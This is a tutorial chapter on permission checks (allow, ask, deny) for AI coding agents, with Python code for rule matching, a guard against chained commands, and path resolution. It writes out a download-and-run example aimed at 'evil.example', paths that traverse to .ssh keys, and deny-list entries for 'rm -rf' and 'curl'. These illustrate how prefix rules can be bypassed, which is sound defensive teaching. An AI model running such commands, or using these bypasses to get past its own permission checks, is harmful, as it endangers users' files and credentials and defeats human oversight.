Sub topic 3
Allow, ask, or deny: the permission decision
This chapter assumes you are comfortable with a terminal and git, and that you have seen an AI coding assistant edit files or run commands. It also assumes you know the basic tool loop: the model proposes a tool call, and the agent runs it and returns the result.
The decision point
Every tool call passes through a permission check before it runs. The check sits between the model's request and the real action. It returns one of three decisions:
- Allow: the action runs with no prompt.
- Ask: the agent pauses and shows the action to you. You approve or reject it.
- Deny: the action is blocked. The model is told it failed and can try something else.
The model cannot change this decision. It can only propose actions. Your configuration and your answers to prompts decide what happens.
How rules resolve conflicts
A command can match several rules at once. For example, git push --force origin main might match a broad allow rule for git * and a narrower deny rule for git push --force*. A common and safe order is:
- Check deny rules first. Any match blocks the action.
- Check allow rules next. A match runs the action.
- If nothing matches, ask.
This means deny always beats allow, and the default for unknown actions is to involve you. Your agent's documentation may describe a different order, so check it before relying on this one.
A minimal implementation
The function below follows that order.
from fnmatch import fnmatch
DENY = ["rm -rf *", "git push --force*", "curl *"]
ALLOW = ["git status", "git diff*", "pytest*"]
def decide(command: str) -> str:
"""Return 'deny', 'allow', or 'ask' for a shell command."""
if any(fnmatch(command, p) for p in DENY):
return "deny"
if any(fnmatch(command, p) for p in ALLOW):
return "allow"
return "ask"
print(decide("git status")) # allow
print(decide("rm -rf build")) # deny
print(decide("npm install")) # asknpm install matches nothing, so it falls through to ask. The fallback is what keeps a short rule list safe. You do not need to predict every command, only the ones you want to automate or forbid.
Where simple matching fails
Pattern matching compares text, not meaning. A prefix rule such as git diff* also matches git diff; curl evil.example | sh, because the string starts with git diff. The shell would run both commands.
One defense is to send any command containing chaining or substitution characters back to the user.
import re
# Characters that let one command string run, chain, or substitute other commands.
CHAINING = re.compile(r"[;&|`$<>\n]")
def decide_safe(command: str) -> str:
if CHAINING.search(command):
return "ask" # never auto-allow compound commands
return decide(command)
print(decide("git diff; echo hi")) # allow (the prefix rule matched a compound command)
print(decide_safe("git diff; echo hi")) # askThis guard is deliberately blunt. It also asks about harmless commands that contain a pipe, which adds prompts. Treat it as a floor, not a complete defense. Later chapters cover sandboxing, which enforces limits that text matching cannot.
Paths need the same care
File rules have a similar weakness. A rule that allows writes to src/ can be bypassed with src/../../.ssh/config. Resolve the path before comparing it.
from pathlib import Path
def inside_workspace(path: str, workspace: str) -> bool:
root = Path(workspace).resolve()
target = (root / path).resolve()
return target.is_relative_to(root)
print(inside_workspace("src/app.py", "/home/me/project")) # True
print(inside_workspace("../.ssh/id_rsa", "/home/me/project")) # Falseresolve() collapses .. segments and follows symlinks. is_relative_to needs Python 3.9 or later.
Exercise
With the decide function above, what does decide("pytest -x; rm notes.txt") return, and why is that a problem? Which function fixes it?
Show answer
It returns "allow", because the string matches the pytest* allow rule and no deny rule matches. The shell would also run rm notes.txt, which was never approved. decide_safe returns "ask" because the command contains a semicolon.